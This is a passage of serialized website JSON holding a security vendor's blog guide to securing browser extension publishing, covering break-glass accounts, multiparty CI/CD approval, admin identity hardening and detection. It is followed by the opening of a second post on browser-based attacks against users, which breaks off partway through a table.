solution.",{"data":56548,"content":56549,"nodeType":1317},{},[56550],{"data":56551,"marks":56552,"value":56553,"nodeType":865},{},[],"Remove BAU access to extension stores",{"data":56555,"content":56556,"nodeType":866},{},[56557],{"data":56558,"marks":56559,"value":56560,"nodeType":865},{},[],"If developers don’t have access to extension stores, they cannot be manipulated into giving attackers access to API keys, they cannot grant attackers authorization to access the store on their behalf, and if the identities are compromised they cannot be used to access the store.",{"data":56562,"content":56563,"nodeType":866},{},[56564],{"data":56565,"marks":56566,"value":56567,"nodeType":865},{},[],"The key to achieving this is to lean fully into completely automated CI/CD processes for normal extension updates. This means that after you’ve configured the CI/CD flows, no developer needs access to the extension stores to do their normal work (publishing new versions of the extension).",{"data":56569,"content":56570,"nodeType":866},{},[56571],{"data":56572,"marks":56573,"value":56574,"nodeType":865},{},[],"Unfortunately, you will still need to access the web console manually for some tasks like updating branding, updating extension descriptions, and proving justification for new permissions (Chrome and Apple only). For our team, these tasks are infrequent enough that they can be handled using break-glass accounts.",{"data":56576,"content":56577,"nodeType":866},{},[56578],{"data":56579,"marks":56580,"value":56581,"nodeType":865},{},[],"A side note here: it might seem that you are just moving the risk around, from the extension store to the code repo & CI/CD system, but you are really already dependent on the security of these systems, so this is just removing the direct access to the extension store from the attack surface. You also have far greater flexibility and control in the CI/CD system as we’ll see in the “Implement multiparty approval in CI/CD” section below.",{"data":56583,"content":56584,"nodeType":1317},{},[56585],{"data":56586,"marks":56587,"value":56588,"nodeType":865},{},[],"Break-glass store admin accounts",{"data":56590,"content":56591,"nodeType":866},{},[56592,56596,56605,56609,56618],{"data":56593,"marks":56594,"value":56595,"nodeType":865},{},[],"In practice you might implement this by issuing developers that need access to the extension stores a second SSO identity that is dedicated to this. You could have a ",{"data":56597,"content":56599,"nodeType":889},{"uri":56598},"mailto:john@amce.com",[56600],{"data":56601,"marks":56602,"value":56604,"nodeType":865},{},[56603],{"type":943},"john@acme.com",{"data":56606,"marks":56607,"value":56608,"nodeType":865},{},[]," Google account to do normal development work, and a ",{"data":56610,"content":56612,"nodeType":889},{"uri":56611},"mailto:john.admin@acme.com",[56613],{"data":56614,"marks":56615,"value":56617,"nodeType":865},{},[56616],{"type":943},"john.admin@acme.com",{"data":56619,"marks":56620,"value":56621,"nodeType":865},{},[]," Google account to access the extension stores. You could also:",{"data":56623,"content":56624,"nodeType":1616},{},[56625,56635,56645,56655],{"data":56626,"content":56627,"nodeType":1570},{},[56628],{"data":56629,"content":56630,"nodeType":866},{},[56631],{"data":56632,"marks":56633,"value":56634,"nodeType":865},{},[],"Make the .admin accounts disabled by default in Google, and enable one of them at a time as and when needed (this should be very rare).",{"data":56636,"content":56637,"nodeType":1570},{},[56638],{"data":56639,"content":56640,"nodeType":866},{},[56641],{"data":56642,"marks":56643,"value":56644,"nodeType":865},{},[],"Put the .admin accounts in a separate OU in GWS, and configure that OU so that those accounts are not allowed to authorize any OAuth integrations.",{"data":56646,"content":56647,"nodeType":1570},{},[56648],{"data":56649,"content":56650,"nodeType":866},{},[56651],{"data":56652,"marks":56653,"value":56654,"nodeType":865},{},[],"Ensure that all the .admin accounts use hardware backed passkeys that don’t sync anywhere (we like Yubikeys) and disable password logins.",{"data":56656,"content":56657,"nodeType":1570},{},[56658],{"data":56659,"content":56660,"nodeType":866},{},[56661],{"data":56662,"marks":56663,"value":56664,"nodeType":865},{},[],"For bonus points, make sure .admin accounts can only be used on a separate dedicated endpoint (e.g. a locked-down Chromebook).",{"data":56666,"content":56667,"nodeType":866},{},[56668],{"data":56669,"marks":56670,"value":56671,"nodeType":865},{},[],"In this way you can have a setup where an attacker would have to successfully target a developer using a hardware-backed identity during the few minutes a year their account is active, and do so without using consent phishing attacks (because all OAuth integrations are disabled for your break-glass accounts). This is a majorly tall order for the attacker.",{"data":56673,"content":56674,"nodeType":1317},{},[56675],{"data":56676,"marks":56677,"value":56678,"nodeType":865},{},[],"Implement multiparty approval in CI/CD",{"data":56680,"content":56681,"nodeType":866},{},[56682],{"data":56683,"marks":56684,"value":56685,"nodeType":865},{},[],"If nobody has active BAU access to extension stores for more than very brief periods, the attacker’s next best option is to target the process that developers are using to publish, i.e. committing code to the repository and waiting for the CI/CD system to publish the extension automatically.",{"data":56687,"content":56688,"nodeType":866},{},[56689],{"data":56690,"marks":56691,"value":56692,"nodeType":865},{},[],"In practice this means the attacker would need to attack the identity (account) the employee uses to access the code repository (assuming a typical cloud hosted system like GitHub here), or sneak code in through an endpoint attack. Overwhelmingly, these attacks are likely to include an element of social engineering — whether that’s phishing credentials or session tokens, or tricking the user into downloading malware, perhaps through a malicious dependency or vscode extension.",{"data":56694,"content":56695,"nodeType":866},{},[56696],{"data":56697,"marks":56698,"value":56699,"nodeType":865},{},[],"We can make the attacker’s life exponentially harder by requiring that they successfully attack two developers, at the same time, before anyone notices. Quick intuition might make it seem like we’re only doubling the difficulty, but other red-teamers with experience doing this will agree that it’s often very easy to target a random user in a large population quickly (one employee in a large corporate), but a single user in a much smaller team (say an extension dev team) might take repeated attacks. When you need to target multiple users in a small team, in a single attack, and maintain the breach concurrently while taking actions (e.g. committing malicious code hoping no-one notices) it becomes much more likely that the alarm will be raised. ",{"data":56701,"content":56702,"nodeType":1317},{},[56703],{"data":56704,"marks":56705,"value":56706,"nodeType":865},{},[],"How to implement multiparty approval through CI/CD",{"data":56708,"content":56709,"nodeType":866},{},[56710],{"data":56711,"marks":56712,"value":56713,"nodeType":865},{},[],"There are probably dozens of ways to skin this cat, but I’ll share one way of doing this that works with mainstream tools and developer processes — using protected git branches.",{"data":56715,"content":56716,"nodeType":1616},{},[56717,56732,56747],{"data":56718,"content":56719,"nodeType":1570},{},[56720],{"data":56721,"content":56722,"nodeType":866},{},[56723,56728],{"data":56724,"marks":56725,"value":56727,"nodeType":865},{},[56726],{"type":926},"Step 1: ",{"data":56729,"marks":56730,"value":56731,"nodeType":865},{},[],"Setup multiple branches, these might be dev/stg/prd, or development/prerelease/release, and trigger automated build and deploy to the stores using CI/CD with PR merges to the prd/release branches. ",{"data":56733,"content":56734,"nodeType":1570},{},[56735],{"data":56736,"content":56737,"nodeType":866},{},[56738,56743],{"data":56739,"marks":56740,"value":56742,"nodeType":865},{},[56741],{"type":926},"Step 2: ",{"data":56744,"marks":56745,"value":56746,"nodeType":865},{},[],"Use branch protection rules that require a second (or even third) named or group of developers to review and approve the PR merge. This achieves multiparty approval.",{"data":56748,"content":56749,"nodeType":1570},{},[56750],{"data":56751,"content":56752,"nodeType":866},{},[56753,56758],{"data":56754,"marks":56755,"value":56757,"nodeType":865},{},[56756],{"type":926},"Step 3:",{"data":56759,"marks":56760,"value":56761,"nodeType":865},{},[]," Configure fully automated builds and deployments as part of your CI/CD flows. While this is possible for all three stores, some of the stores do make you jump through a few hoops. Take a look at the steps required to automate a publish to the Apple Store:",{"data":56763,"content":56767,"nodeType":912},{"target":56764},{"sys":56765},{"id":56766,"type":909,"linkType":910},"4b9fc1ZUj4HdKl6Iv7Yx8T",[],{"data":56769,"content":56770,"nodeType":866},{},[56771,56775,56784],{"data":56772,"marks":56773,"value":56774,"nodeType":865},{},[],"Since we’ve done the work of figuring this out once already, we extracted the critical steps into a ",{"data":56776,"content":56778,"nodeType":889},{"uri":56777},"https://github.com/pushsecurity/extension-security-guide",[56779],{"data":56780,"marks":56781,"value":56783,"nodeType":865},{},[56782],{"type":943},"companion Github repo",{"data":56785,"marks":56786,"value":56787,"nodeType":865},{},[]," to make this a bit easier to implement.",{"data":56789,"content":56790,"nodeType":866},{},[56791],{"data":56792,"marks":56793,"value":56794,"nodeType":865},{},[],"As we’ve described it so far, this is a fairly basic implementation, and there are several other controls you might consider to harden this process, including:",{"data":56796,"content":56797,"nodeType":1616},{},[56798,56808,56818],{"data":56799,"content":56800,"nodeType":1570},{},[56801],{"data":56802,"content":56803,"nodeType":866},{},[56804],{"data":56805,"marks":56806,"value":56807,"nodeType":865},{},[],"Make sure you use a secrets protection system to store Web Store API keys in the CI/CD (it’s no use if the attacker can read the API keys from a config file in your code).",{"data":56809,"content":56810,"nodeType":1570},{},[56811],{"data":56812,"content":56813,"nodeType":866},{},[56814],{"data":56815,"marks":56816,"value":56817,"nodeType":865},{},[],"Ensure that developers don’t have access to change branch protection rules, or access CI/CD secrets (otherwise one compromised developer account can undo all this good work — let DevOps or other admin users that are not extension developers handle this admin).",{"data":56819,"content":56820,"nodeType":1570},{},[56821],{"data":56822,"content":56823,"nodeType":866},{},[56824],{"data":56825,"marks":56826,"value":56827,"nodeType":865},{},[],"Enforce hardware-backed signed commits as a condition for PR merges (this makes it very very difficult to get bad code into the repo without also compromising your dev team’s Yubikeys)",{"data":56829,"content":56830,"nodeType":866},{},[56831],{"data":56832,"marks":56833,"value":56834,"nodeType":865},{},[],"Now you have strong hardware-backed multiparty authenticated deployments to the stores, and should end up with something that looks a bit like this:",{"data":56836,"content":56840,"nodeType":912},{"target":56837},{"sys":56838},{"id":56839,"type":909,"linkType":910},"6tWdfgYKyH2i2Zai05BxzB",[],{"data":56842,"content":56843,"nodeType":972},{},[],{"data":56845,"content":56846,"nodeType":981},{},[56847],{"data":56848,"marks":56849,"value":56850,"nodeType":865},{},[],"The next best attack path — IdP admin compromise",{"data":56852,"content":56853,"nodeType":866},{},[56854],{"data":56855,"marks":56856,"value":56857,"nodeType":865},{},[],"Once developers don’t have direct access to the stores, and you have multiparty approvals to get code into CI/CD, the next best attack paths are to target other single-points-of-failure — most likely the administrators. ",{"data":56859,"content":56860,"nodeType":866},{},[56861],{"data":56862,"marks":56863,"value":56864,"nodeType":865},{},[],"This might be the IdP (Google Workspace, Entra, Okta, etc.) admins, which can then be used to provision access to the stores, or simply recover one or more of the developer or break-glass accounts. Or it might target the code repo or CI/CD (GitHub in our example) admins which have access to API keys and can change branch protection rules.",{"data":56866,"content":56867,"nodeType":866},{},[56868],{"data":56869,"marks":56870,"value":56871,"nodeType":865},{},[],"Managing privileged identities like these admin accounts is a constant challenge, but continuing what is perhaps the central thread of this blog, identity attacks (likely through social engineering) are going to be the first port of call for an attacker.",{"data":56873,"content":56874,"nodeType":1317},{},[56875],{"data":56876,"marks":56877,"value":56878,"nodeType":865},{},[],"Recommendations for hardening admin identities",{"data":56880,"content":56881,"nodeType":866},{},[56882],{"data":56883,"marks":56884,"value":56885,"nodeType":865},{},[],"If there’s one thing we know here at Push, it’s identity security — but I’ll fight the urge to go into too much depth with generic recommendations, and focus on where there are opportunities specific to this scope.",{"data":56887,"content":56888,"nodeType":866},{},[56889],{"data":56890,"marks":56891,"value":56892,"nodeType":865},{},[],"One of the most critical aspects of securing these admin accounts is making sure that they are phishing resistant. Where possible, you should be using phishing resistant MFA methods. Typically this means some kind of domain bound security key using the WebAuthn protocol — a passkey using your fingerprint reader is good, something like Yubikey is great. I think this is pretty well understood, but where it goes wrong most often is when backup methods and alternative login methods exist. For example, you might be using an Google OIDC login secured with a Yubikey to access the Firefox store, but not realize that this account also has a password to set that doesn’t have MFA, or has phish-able MFA like SMS or an app-code set.",{"data":56894,"content":56895,"nodeType":866},{},[56896],{"data":56897,"marks":56898,"value":56899,"nodeType":865},{},[],"Attackers are increasingly using attacks that downgrade MFA methods (so the attacker will request the least secure active MFA method when phishing you, rather than the strong method you might use day-to-day), and this is completely automated in modern MFA-bypass phishing kits.",{"data":56901,"content":56902,"nodeType":866},{},[56903],{"data":56904,"marks":56905,"value":56906,"nodeType":865},{},[],"Warning, product plug coming 🙂 — what we do at Push is help you identify issues like these at scale, across all admin, break-glass, dev, and normal user accounts. We also block credential phishing by detecting when users try to enter their SSO credentials on the wrong page, detecting session theft, and can even monitor when credentials stolen via infostealers show up on underground forums.",{"data":56908,"content":56909,"nodeType":972},{},[],{"data":56911,"content":56912,"nodeType":981},{},[56913],{"data":56914,"marks":56915,"value":56916,"nodeType":865},{},[],"Going even further to harden extension deployment",{"data":56918,"content":56919,"nodeType":866},{},[56920],{"data":56921,"marks":56922,"value":56923,"nodeType":865},{},[],"This blog is already getting way too long, but there are a lot of other controls that can really help harden extension deployment — if there is interest I might go into detail in a future blog post, but for now let me just mention some of them.",{"data":56925,"content":56926,"nodeType":1317},{},[56927],{"data":56928,"marks":56929,"value":56930,"nodeType":865},{},[],"Multiparty approvals for Google",{"data":56932,"content":56933,"nodeType":866},{},[56934],{"data":56935,"marks":56936,"value":56937,"nodeType":865},{},[],"If you’re going to do multiparty approvals for extension deployments, then enabling this for admin actions that protect that infrastructure seems like a no-brainer.",{"data":56939,"content":56940,"nodeType":866},{},[56941,56945,56954],{"data":56942,"marks":56943,"value":56944,"nodeType":865},{},[],"Google allows you to enable ",{"data":56946,"content":56948,"nodeType":889},{"uri":56947},"https://support.google.com/a/answer/13790448?hl=en",[56949],{"data":56950,"marks":56951,"value":56953,"nodeType":865},{},[56952],{"type":943},"multiparty approval for sensitive actions",{"data":56955,"marks":56956,"value":56957,"nodeType":865},{},[]," in Google Workspace. We wish it was a bit more granular, and covered more configurable actions — but it’s an awesome start, nice work Google!",{"data":56959,"content":56960,"nodeType":1317},{},[56961],{"data":56962,"marks":56963,"value":56964,"nodeType":865},{},[],"Admin workstations",{"data":56966,"content":56967,"nodeType":866},{},[56968],{"data":56969,"marks":56970,"value":56971,"nodeType":865},{},[],"When we used to do red-team exercises, one of the most challenging controls to work around was when the admin accounts we were targeting were only used on dedicated admin workstations. Ideally those workstations would do nothing except admin tasks, and the accounts would be locked down, so in this case that might mean:",{"data":56973,"content":56974,"nodeType":1616},{},[56975,56985,56995],{"data":56976,"content":56977,"nodeType":1570},{},[56978],{"data":56979,"content":56980,"nodeType":866},{},[56981],{"data":56982,"marks":56983,"value":56984,"nodeType":865},{},[],"No email access",{"data":56986,"content":56987,"nodeType":1570},{},[56988],{"data":56989,"content":56990,"nodeType":866},{},[56991],{"data":56992,"marks":56993,"value":56994,"nodeType":865},{},[],"No extensions",{"data":56996,"content":56997,"nodeType":1570},{},[56998],{"data":56999,"content":57000,"nodeType":866},{},[57001],{"data":57002,"marks":57003,"value":57004,"nodeType":865},{},[],"No OAuth apps",{"data":57006,"content":57007,"nodeType":866},{},[57008],{"data":57009,"marks":57010,"value":57011,"nodeType":865},{},[],"This becomes incredibly challenging to attack — but it does come with some obvious painful UX impact for admins, so I don’t think this is a no-brainer for everyone.",{"data":57013,"content":57014,"nodeType":1317},{},[57015],{"data":57016,"marks":57017,"value":57018,"nodeType":865},{},[],"Isolate support emails",{"data":57020,"content":57021,"nodeType":866},{},[57022],{"data":57023,"marks":57024,"value":57025,"nodeType":865},{},[],"Sending your support emails to extension developers creates a direct path to start social engineering — something attackers used to great effect in this campaign. If your developers are not also your frontline support team, consider ringfencing developers from that public support email group so attackers have to at least do some reconnaissance work to identify the developers to target.",{"data":57027,"content":57028,"nodeType":1317},{},[57029],{"data":57030,"marks":57031,"value":57032,"nodeType":865},{},[],"Detection and response",{"data":57034,"content":57035,"nodeType":866},{},[57036],{"data":57037,"marks":57038,"value":57039,"nodeType":865},{},[],"As always there are a myriad of things that can be monitored. We think high value would be doing things like:",{"data":57041,"content":57042,"nodeType":1616},{},[57043,57086,57096],{"data":57044,"content":57045,"nodeType":1570},{},[57046,57053],{"data":57047,"content":57048,"nodeType":866},{},[57049],{"data":57050,"marks":57051,"value":57052,"nodeType":865},{},[],"Checking whether new versions of your extension appearing in the store is directly related or caused by the CI/CD process, and:",{"data":57054,"content":57055,"nodeType":1616},{},[57056,57066,57076],{"data":57057,"content":57058,"nodeType":1570},{},[57059],{"data":57060,"content":57061,"nodeType":866},{},[57062],{"data":57063,"marks":57064,"value":57065,"nodeType":865},{},[],"Alert if there is no direct link here.",{"data":57067,"content":57068,"nodeType":1570},{},[57069],{"data":57070,"content":57071,"nodeType":866},{},[57072],{"data":57073,"marks":57074,"value":57075,"nodeType":865},{},[],"You can configure email alerts to trigger this automated check.",{"data":57077,"content":57078,"nodeType":1570},{},[57079],{"data":57080,"content":57081,"nodeType":866},{},[57082],{"data":57083,"marks":57084,"value":57085,"nodeType":865},{},[],"You could consider immediate automated roll-back to a previous version of the extension if it wasn’t published via the CI/CD system.",{"data":57087,"content":57088,"nodeType":1570},{},[57089],{"data":57090,"content":57091,"nodeType":866},{},[57092],{"data":57093,"marks":57094,"value":57095,"nodeType":865},{},[],"Any activity on break-glass accounts — these accounts should only be used after they are activated by admins to complete a specific task, so this is an obvious alert to configure.",{"data":57097,"content":57098,"nodeType":1570},{},[57099],{"data":57100,"content":57101,"nodeType":866},{},[57102],{"data":57103,"marks":57104,"value":57105,"nodeType":865},{},[],"Unusual activity on service accounts — this is a bit of work to profile, but very valuable.",{"data":57107,"content":57108,"nodeType":972},{},[],{"data":57110,"content":57111,"nodeType":981},{},[57112],{"data":57113,"marks":57114,"value":57115,"nodeType":865},{},[],"Our request to extension stores",{"data":57117,"content":57118,"nodeType":866},{},[57119],{"data":57120,"marks":57121,"value":57122,"nodeType":865},{},[],"I’ll use this opportunity to make an open request to the browser extension stores for a couple of features that I think would really benefit the entire ecosystem:",{"data":57124,"content":57125,"nodeType":1616},{},[57126,57136,57146,57156],{"data":57127,"content":57128,"nodeType":1570},{},[57129],{"data":57130,"content":57131,"nodeType":866},{},[57132],{"data":57133,"marks":57134,"value":57135,"nodeType":865},{},[],"Add the ability to configure an explicit multiparty approval process (and show the public which extensions have enabled these controls!).",{"data":57137,"content":57138,"nodeType":1570},{},[57139],{"data":57140,"content":57141,"nodeType":866},{},[57142],{"data":57143,"marks":57144,"value":57145,"nodeType":865},{},[],"More granular permissions or roles (e.g. only edit descriptions, only only upload, only publish, only accept new terms).",{"data":57147,"content":57148,"nodeType":1570},{},[57149],{"data":57150,"content":57151,"nodeType":866},{},[57152],{"data":57153,"marks":57154,"value":57155,"nodeType":865},{},[],"Better logs and monitoring – making it easier to ingest events related to your extension via the store into a SIEM would make alerts much easier to configure.",{"data":57157,"content":57158,"nodeType":1570},{},[57159],{"data":57160,"content":57161,"nodeType":866},{},[57162],{"data":57163,"marks":57164,"value":57165,"nodeType":865},{},[],"Enforce stronger default identity security controls (even if only for risky or popular extensions) — we enforce MFA by default for GitHub repositories now, it’s about time that we require MFA to access an extension store as well.",{"data":57167,"content":57168,"nodeType":972},{},[],{"data":57170,"content":57171,"nodeType":981},{},[57172],{"data":57173,"marks":57174,"value":57175,"nodeType":865},{},[],"Conclusion",{"data":57177,"content":57178,"nodeType":866},{},[57179],{"data":57180,"marks":57181,"value":57182,"nodeType":865},{},[],"We’ve seen in the past that the successful use of new techniques seem to inspire other attackers and lead to many similar attacks, so the smart money is on this happening again.",{"data":57184,"content":57185,"nodeType":866},{},[57186,57190,57199],{"data":57187,"marks":57188,"value":57189,"nodeType":865},{},[],"There is lots to work needed to secure this process, and hopefully this blog has provided a starting point. We’d love to hear from you — let’s start ",{"data":57191,"content":57193,"nodeType":889},{"uri":57192},"https://github.com/pushsecurity/extension-security-guide/discussions",[57194],{"data":57195,"marks":57196,"value":57198,"nodeType":865},{},[57197],{"type":943},"sharing some ideas",{"data":57200,"marks":57201,"value":57202,"nodeType":865},{},[]," around hardening this process even more!",{"data":57204,"content":57205,"nodeType":866},{},[57206],{"data":57207,"marks":57208,"value":57209,"nodeType":865},{},[],"If you're a customer rather than an extension developer, this guide hopefully gives you a sense of the supply chain attacks that are likely to happen in the future. Asking your vendors which steps they’ve taken to prevent these attacks might be a sensible addition to your vendor risk assessment process (when the product includes a browser extension). ",{"data":57211,"content":57212,"nodeType":866},{},[57213],{"data":57214,"marks":57215,"value":57216,"nodeType":865},{},[],"This kind of due diligence is viable where the developer is a vendor you have a commercial relationship with, but is a non-starter when it’s an extension that’s offered for free by well meaning open source developers. In these cases a sensible response might be to require approvals for new browser extensions, a technical risk review based on (at least) the permissions the extension is asking for, and managed browser policies to control and further limit what some or all extensions can do. For example, you may decide to block access for extensions to your IdP’s domains to protect your SSO accounts. ",{"data":57218,"content":57219,"nodeType":866},{},[57220],{"data":57221,"marks":57222,"value":57223,"nodeType":865},{},[],"We’ll be releasing guidance on how to manage third party extensions used in your organization in the near future — subscribe to our mailing list to be notified when we do.",{"data":57225,"content":57226,"nodeType":972},{},[],{"data":57228,"content":57229,"nodeType":981},{},[57230],{"data":57231,"marks":57232,"value":57233,"nodeType":865},{},[],"Appendix: Extension store differences",{"data":57235,"content":57236,"nodeType":866},{},[57237],{"data":57238,"marks":57239,"value":57240,"nodeType":865},{},[],"We covered the general process of publishing extensions to the different stores in the “Primer on extension stores and the publication process” section above, now let’s talk about the differences between the stores. Let’s start with how they provision for automated deployments.",{"data":57242,"content":57243,"nodeType":1317},{},[57244],{"data":57245,"marks":57246,"value":57247,"nodeType":865},{},[],"Automation keys",{"data":57249,"content":57250,"nodeType":866},{},[57251,57255,57264],{"data":57252,"marks":57253,"value":57254,"nodeType":865},{},[],"The Chrome Web Store allows automation through an OAuth app. As described in ",{"data":57256,"content":57258,"nodeType":889},{"uri":57257},"https://developer.chrome.com/docs/webstore/using-api",[57259],{"data":57260,"marks":57261,"value":57263,"nodeType":865},{},[57262],{"type":943},"their documentation",{"data":57265,"marks":57266,"value":57267,"nodeType":865},{},[],", the process is for a developer to create a custom OAuth app (a client on OAuth speak), then a user with access to the store authorizes the OAuth app to access the chrome store on their behalf using the https://www.googleapis.com/auth/chromewebstore scope. ",{"data":57269,"content":57270,"nodeType":866},{},[57271],{"data":57272,"marks":57273,"value":57274,"nodeType":865},{},[],"If this sounds familiar, that’s because this is exactly what attackers tricked developers into doing using their own OAuth app in the Cyberhave campaign. In the normal flow, the developer then uses a service key linked to the OAuth app in their CI/CD flow to automate the deployment process.",{"data":57276,"content":57277,"nodeType":866},{},[57278],{"data":57279,"marks":57280,"value":57281,"nodeType":865},{},[],"The situation is a bit simpler for Firefox and Apple, which both work by developers just creating simple static API keys, though Apple does allow you to create personal API keys linked to a single account (and that account’s permissions).",{"data":57283,"content":57284,"nodeType":1317},{},[57285],{"data":57286,"marks":57287,"value":57288,"nodeType":865},{},[],"Accessing the store",{"data":57290,"content":57291,"nodeType":866},{},[57292],{"data":57293,"marks":57294,"value":57295,"nodeType":865},{},[],"In a business environment, using SSO to access apps is extremely useful as it simplifies the provisioning and security-ops work of maintaining secure identities — and often provides more secure authentication methods (e.g. hardware backed WebAuthn MFA) than the target app does (as is the case for the web stores). It also simplifies and centralizes the ability to log and monitor the use of these accounts. I can’t recommend the use of strong SSO authentication enough in cases like this where ensuring you have the right controls in place is paramount.",{"data":57297,"content":57298,"nodeType":866},{},[57299],{"data":57300,"marks":57301,"value":57302,"nodeType":865},{},[],"Fortunately all the stores provide SSO login methods. For the Chrome store, users login (only) using Google SSO accounts — and if they are part of a Google Workspace, access can be provisioned through membership to a group. Firefox allows access using a username and password, but also offers OIDC SSO logins through Google or Apple accounts. If you make use of Managed Apple IDs, Apple offers OIDC SSO authentication as well. ",{"data":57304,"content":57305,"nodeType":866},{},[57306,57310,57315],{"data":57307,"marks":57308,"value":57309,"nodeType":865},{},[],"For Chrome and Firefox there is no real concept of roles (or nothing really useful), and ",{"data":57311,"marks":57312,"value":57314,"nodeType":865},{},[57313],{"type":943},"you should assume any user with access to a team in your account has the ability to publish extension updates",{"data":57316,"marks":57317,"value":57318,"nodeType":865},{},[],". Apple offers more granular roles and permissions - and there are low privileged roles that can’t publish updates.","Guide to secure browser extension deployment","How extension developers can improve their security controls to prevent extension compromise.","2025-01-14T00:00:00.000Z","guide-to-secure-browser-extension-deployment",{"items":57324},[57325,57327],{"sys":57326,"name":297},{"id":2310},{"sys":57328,"name":342},{"id":4642},{"items":57330},[57331],{"fullName":57332,"firstName":57333,"jobTitle":57334,"profilePicture":57335},"Jacques Louw","Jacques","Co-founder / CRO",{"url":57336},"https://images.ctfassets.net/y1cdw1ablpvd/39m8bektV23lnCRcEq0G8h/2a08f6276a50744f1a4b499b273f6bb2/Push_Founders_at_Cahoots_October_28_2022_by_Doug_Coombe-21.jpg",{"__typename":1429,"sys":57338,"content":57340,"title":58682,"synopsis":58683,"hashTags":59,"publishedDate":58684,"slug":58685,"tagsCollection":58686,"authorsCollection":58692},{"id":57339},"wI3paLVDlEKdaRI5qMYFc",{"json":57341},{"data":57342,"content":57343,"nodeType":1382},{},[57344,57351,57374,57381,57387,57394,57401,57408,57414,57417,57425,57432,57438,57443,57459,57657,57669,57677,57684,57691,57698,57718,57724,57731,57734,57742,57749,57782,57789,57805,57826,57861,57867,57874,57893,57900,57907,57910,57918,57925,58017,58024,58031,58039,58046,58053,58060,58065,58073,58080,58087,58094,58100,58107,58115,58133,58141,58148,58154,58157,58165,58172,58179,58289,58295,58302,58309,58316,58323,58330,58338,58345,58352,58376,58382,58398,58413,58429,58435,58443,58450,58458,58465,58468,58476,58483,58516,58522,58546,58553,58556,58564,58571,58587,58593,58600,58607,58610,58617,58635,58642],{"data":57345,"content":57346,"nodeType":866},{},[57347],{"data":57348,"marks":57349,"value":57350,"nodeType":865},{},[],"Here are two things that can’t both be true:",{"data":57352,"content":57353,"nodeType":1616},{},[57354,57364],{"data":57355,"content":57356,"nodeType":1570},{},[57357],{"data":57358,"content":57359,"nodeType":866},{},[57360],{"data":57361,"marks":57362,"value":57363,"nodeType":865},{},[],"Users are the weakest link in security. They just need to stop clicking on things.",{"data":57365,"content":57366,"nodeType":1570},{},[57367],{"data":57368,"content":57369,"nodeType":866},{},[57370],{"data":57371,"marks":57372,"value":57373,"nodeType":865},{},[],"The internet is a giant clicking-on-things machine.",{"data":57375,"content":57376,"nodeType":866},{},[57377],{"data":57378,"marks":57379,"value":57380,"nodeType":865},{},[],"In particular, when we look at the TTPs of modern browser-based attacks that target employees, it’s obvious where this disconnect has real consequences. ",{"data":57382,"content":57386,"nodeType":912},{"target":57383},{"sys":57384},{"id":57385,"type":909,"linkType":910},"2x3blnHzZYcJ8c439C4NqI",[],{"data":57388,"content":57389,"nodeType":866},{},[57390],{"data":57391,"marks":57392,"value":57393,"nodeType":865},{},[],"Here’s why: Security tooling hasn’t kept up with adversary advances, and normal human behaviors are being expressly targeted via the browser to achieve compromise of accounts and endpoints. If you list the pitfalls facing the common end-user encountering these kinds of attack methods, the picture becomes even more stark.",{"data":57395,"content":57396,"nodeType":866},{},[57397],{"data":57398,"marks":57399,"value":57400,"nodeType":865},{},[],"To solve these problems, you need security tooling that sits in line with the user where they’re already working: In the browser. In this Push product guide, we’ll cover how you can use Push to provide point-in-time guidance — everything from block pages to informational banners — to protect users from modern browser-based TTPs and to guide them to remediate common vulnerabilities that can lead to account takeover.",{"data":57402,"content":57403,"nodeType":866},{},[57404],{"data":57405,"marks":57406,"value":57407,"nodeType":865},{},[],"We’ve also recently introduced custom branding and styling options for user-facing block pages and banners so you can provide a cohesive and trustworthy experience across your security ecosystem.",{"data":57409,"content":57413,"nodeType":912},{"target":57410},{"sys":57411},{"id":57412,"type":909,"linkType":910},"7fwCnr9bz76rWWCL6EReOT",[],{"data":57415,"content":57416,"nodeType":972},{},[],{"data":57418,"content":57419,"nodeType":981},{},[57420],{"data":57421,"marks":57422,"value":57424,"nodeType":865},{},[57423],{"type":926},"Why you can’t train users to recognize modern browser-based attack methods",{"data":57426,"content":57427,"nodeType":866},{},[57428],{"data":57429,"marks":57430,"value":57431,"nodeType":865},{},[],"User awareness training can help you build your workforce’s basic security baseline. But it’s not a reliable remedy for modern browser-based TTPs. When you look at the creative methods attackers are using — and rapidly improving on — it’s obvious why.",{"data":57433,"content":57437,"nodeType":912},{"target":57434},{"sys":57435},{"id":57436,"type":909,"linkType":910},"eHla7GPCH5eTpdfEqW5Zo",[],{"data":57439,"content":57442,"nodeType":912},{"target":57440},{"sys":57441},{"id":1190,"type":909,"linkType":910},[],{"data":57444,"content":57445,"nodeType":866},{},[57446,57450,57455],{"data":57447,"marks":57448,"value":57449,"nodeType":865},{},[],"To avoid account or endpoint compromise while going about your daily work as a user, you would need to accomplish these ",{"data":57451,"marks":57452,"value":57454,"nodeType":865},{},[57453],{"type":898},"extremely 100% achievable activities",{"data":57456,"marks":57457,"value":57458,"nodeType":865},{},[],", including:",{"data":57460,"content":57461,"nodeType":2927},{},[57462,57487,57527,57550,57583,57615],{"data":57463,"content":57464,"nodeType":2400},{},[57465,57476],{"data":57466,"content":57467,"nodeType":38076},{},[57468],{"data":57469,"content":57470,"nodeType":866},{},[57471],{"data":57472,"marks":57473,"value":57475,"nodeType":865},{},[57474],{"type":926},"Scenario",{"data":57477,"content":57478,"nodeType":38076},{},[57479],{"data":57480,"content":57481,"nodeType":866},{},[57482],{"data":57483,"marks":57484,"value":57486,"nodeType":865},{},[57485],{"type":926},"Threat",{"data":57488,"content":57489,"nodeType":2400},{},[57490,57513],{"data":57491,"content":57492,"nodeType":2366},{},[57493],{"data":57494,"content":57495,"nodeType":866},{},[57496,57500,57509],{"data":57497,"marks":57498,"value":57499,"nodeType":865},{},[],"While using search engines, never click on a ",{"data":57501,"content":57504,"nodeType":33606},{"target":57502},{"sys":57503},{"id":33828,"type":909,"linkType":910},[57505],{"data":57506,"marks":57507,"value":57508,"nodeType":865},{},[],"malicious link",{"data":57510,"marks":57511,"value":57512,"nodeType":865},{},[]," in sponsored or organic results (it's often the first link you see, too).",{"data":57514,"content":57515,"nodeType":2366},{},[57516],{"data":57517,"content":57518,"nodeType":866},{},[57519,57523],{"data":57520,"marks":57521,"value":57522,"nodeType":865},{},[],"M",{"data":57524,"marks":57525,"value":57526,"nodeType":865},{},[],"alvertising, SEO poisoning, compromised legitimate webpages, vibecoded phishing webpages.",{"data":57528,"content":57529,"nodeType":2400},{},[57530,57540],{"data":57531,"content":57532,"nodeType":2366},{},[57533],{"data":57534,"content":57535,"nodeType":866},{},[57536],{"data":57537,"marks":57538,"value":57539,"nodeType":865},{},[],"Know when to trust an email coming from an app you use every 